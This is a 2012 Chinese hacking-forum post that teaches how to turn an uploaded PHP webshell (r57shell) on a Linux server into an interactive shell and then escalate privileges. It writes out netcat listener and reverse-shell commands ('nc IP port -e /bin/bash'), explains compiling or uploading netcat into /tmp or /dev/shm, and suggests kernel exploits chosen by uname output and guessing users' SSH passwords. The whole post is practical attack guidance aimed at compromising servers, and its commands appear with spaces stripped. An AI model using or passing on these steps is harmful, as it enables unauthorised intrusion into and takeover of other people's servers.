Linux webshell反弹cmdline提权

[复制链接]
查看210 | 回复0 | 2012-4-1 19:15:46 | 显示全部楼层 |阅读模式
方法一:


利用shell本身的功能(以r57shell.php为列):


1.backconnect功能.

首先在本机(外网)nc监听某个端口:nc-vv-l-p11457,然后shell中添上你本机的IP及端口,如果情况好即可获得一个cmdline.

你可以选择是perl还是c(这个很重要,很多时候换个就能成功)

 



2.Bindportto/bin/bash功能.

添上端口和密码,你还是可以选择是perl还是c(这个很重要,很多时候换个就能成功),然后点击Bind按钮,在去本机ncIP(shell)port如果成功,会提示你输入密码.就会得到一个cmdline.

 





方法二:


上传perl版的nc或者服务器远程编译nc:

1.上传perl版的nc

首先在本机(外网)nc监听某个端口:nc-vv-l-p11457,然后shell执行命令perlnc.pl本机IPport,如果情况好即可获得一个cmdline.

2.服务器远程编译nc.

这种方法主要用在服务器没有安装nc的情况下,如果服务器有nc则好说,直接本机(外网)nc监听某个端口:nc-vv-l-p11457,然后shell执行命令nc本机IPport-e/bin/bash(没有bash就用sh).

编译nc.先去下载netcat的源码包,放到/tmp/或者/dev/shm下..反正用mount命令看看服务器挂载的情况.如果服务器加入了noexec,nosuid等就不要放在该目录下.如:

/dev/sda3on/typeext3(rw)

noneon/proctypeproc(rw)

noneon/systypesy单机传奇s(rw)

noneon/dev/ptstypedevpts(rw,gid=5,mode=620)

usbfson/proc/bus/usbtypeusbfs(rw)

/dev/sda1on/boottypeext3(rw)

noneon/dev/shmtypetmpfs(rw)

/dev/sda6on/vartypeext3(rw)

/dev/sda2on/wwwtypeext3(rw,quota)

noneon/proc/sys/fs/binfmt_misctypebinfmt_misc(rw)

下面就是编译的事了,./configure,make就行了(服务器一定要有C编译器).编译完成就可以用这个nc来使用了(用绝对路径),使用方法和前面相同.



3.提权服务器

当得到一个cmdline后,就可以查看内核的版本(uname-r),然后根据对应的溢出程序来提权.




三:可能遇到的问题:

1.shell无法反弹过来,通过以上的方法还是无法成功反弹,这时我们可以猜测服务器普通用户的密码来登录ssh(一般有很多站点).在进行下一步操作.

2.服务器没有C编译器.无法编译溢出程序.这时我们只需上传自己已经编译好的溢出程序,上传到服务器,然后设置相关的权限即可.

3.明明已经提权成功,但使用useradduserdel等一些命令的时候却出现命令无法找到,这时我们只需要执行su-命令即可.

...



 
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则